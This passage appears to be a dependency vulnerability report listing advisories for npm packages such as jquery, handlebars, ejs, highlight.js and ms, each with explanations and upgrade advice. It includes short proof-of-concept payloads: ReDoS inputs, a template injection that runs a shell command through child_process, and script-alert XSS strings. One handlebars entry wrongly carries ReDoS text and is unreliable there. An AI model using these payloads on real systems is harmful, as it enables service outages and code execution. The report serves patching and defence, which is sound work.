+ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade jquery
to version 3.5.0 or higher.
References
+-
+
- + +
- + +
- + +
- + +
- + +
- + +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
+ attacks when a cross-domain ajax request is performed without the dataType
option causing text/javascript
responses to be executed.
Note: After being implemented in version 1.12.0, the fix of this vulnerability was reverted in 1.12.3, and then was only reintroduced in version 3.0.0-beta1. The fix was never released in any tag of the 2.x.x branch, as it was reverted out of the branch before being released.
+Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade jquery
to version 1.12.0, 3.0.0-beta1 or higher.
References
+-
+
- + +
- + +
- + +
- + +
+ + + +
Reverse Tabnabbing
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel
attribute in the link to https://istanbul.js.org/
.
Remediation
+Upgrade istanbul-reports
to version 3.1.3 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
- GitHub Release +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+hosted-git-info is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch
in the fromUrl
function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.
PoC by Yeting Li
+var hostedGitInfo = require("hosted-git-info")
+ function build_attack(n) {
+ var ret = "a:"
+ for (var i = 0; i < n; i++) {
+ ret += "a"
+ }
+ return ret + "!";
+ }
+
+ for(var i = 1; i <= 5000000; i++) {
+ if (i % 1000 == 0) {
+ var time = Date.now();
+ var attack_str = build_attack(i)
+ var parsedInfo = hostedGitInfo.fromUrl(attack_str)
+ var time_cost = Date.now() - time;
+ console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+ }
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade hosted-git-info
to version 3.0.8, 2.8.9 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+highlight.js is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.
+Affected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.
+Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade highlight.js
to version 9.18.2, 10.1.2 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+highlight.js is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via Exponential and Polynomial catastrophic backtracking in multiple language highlighting.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade highlight.js
to version 10.4.1 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.
+POC
+<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script>
+ <script>
+ // compile the template
+
+ var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`;
+ var template = Handlebars.compile(s2, {
+ compat: true
+ });
+ // execute the compiled template and print the output to the console console.log(template({}));
+ </script>
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade handlebars
to version 4.7.7 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade handlebars
to version 4.6.0 or higher.
References
+-
+
- GitHub PR +
- HackerOne Report +
+ + + +
Arbitrary Code Injection
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ejs is a popular JavaScript templating engine.
+Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
+let ejs = require('ejs')
+ ejs.render('./views/test.ejs',{
+ filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
+ compileDebug: true,
+ message: 'test',
+ client: true
+ })
+
+ Remediation
+Upgrade ejs
to version 3.1.6 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ejs
is a popular JavaScript templating engine.
+ Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename
option causing it to render the value as is, without escaping it.
+ You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.
+Details
+ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
+
+ ejs.renderFile(filename, data, options, callback)
+
+ The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
+
+ ejs.renderFile(filename, dataAndOptions, callback)
+
+ If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the filename
option, which will be rendered as is when an error occurs during rendering.
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
+
+ The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
+-
+
- November 28th, 2016 - Reported the issue to package owner. +
- November 28th, 2016 - Issue acknowledged by package owner. +
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
+
Remediation
+The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
+ Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
+-
+
- Snyk Blog +
- Fix commit +
+ + + +
Denial of Service (DoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ejs
is a popular JavaScript templating engine.
+ Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames
option causing it to crash.
+ You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.
+Details
+ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
+
+ ejs.renderFile(filename, data, options, callback)
+
+ The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
+
+ ejs.renderFile(filename, dataAndOptions, callback)
+
+ If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the localNames
option, which will cause the renderer to crash.
ejs.renderFile('my-template', {localNames:'try'}, callback);
+
+ The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
+-
+
- November 28th, 2016 - Reported the issue to package owner. +
- November 28th, 2016 - Issue acknowledged by package owner. +
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
+
Remediation
+The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
+ Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
+-
+
- Snyk Blog +
- Fix commit +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ms
is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms()
function.
Proof of concept
+ms = require('ms');
+ ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
+
+ Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. + Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
+For more information on Regular Expression Denial of Service (ReDoS)
attacks, go to our blog.
Disclosure Timeline
+-
+
- Feb 9th, 2017 - Reported the issue to package owner. +
- Feb 11th, 2017 - Issue acknowledged by package owner. +
- April 12th, 2017 - Fix PR opened by Snyk Security Team. +
- May 15th, 2017 - Vulnerability published. +
- May 16th, 2017 - Issue fixed and version
2.0.0
released.
+ - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0
.
+
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
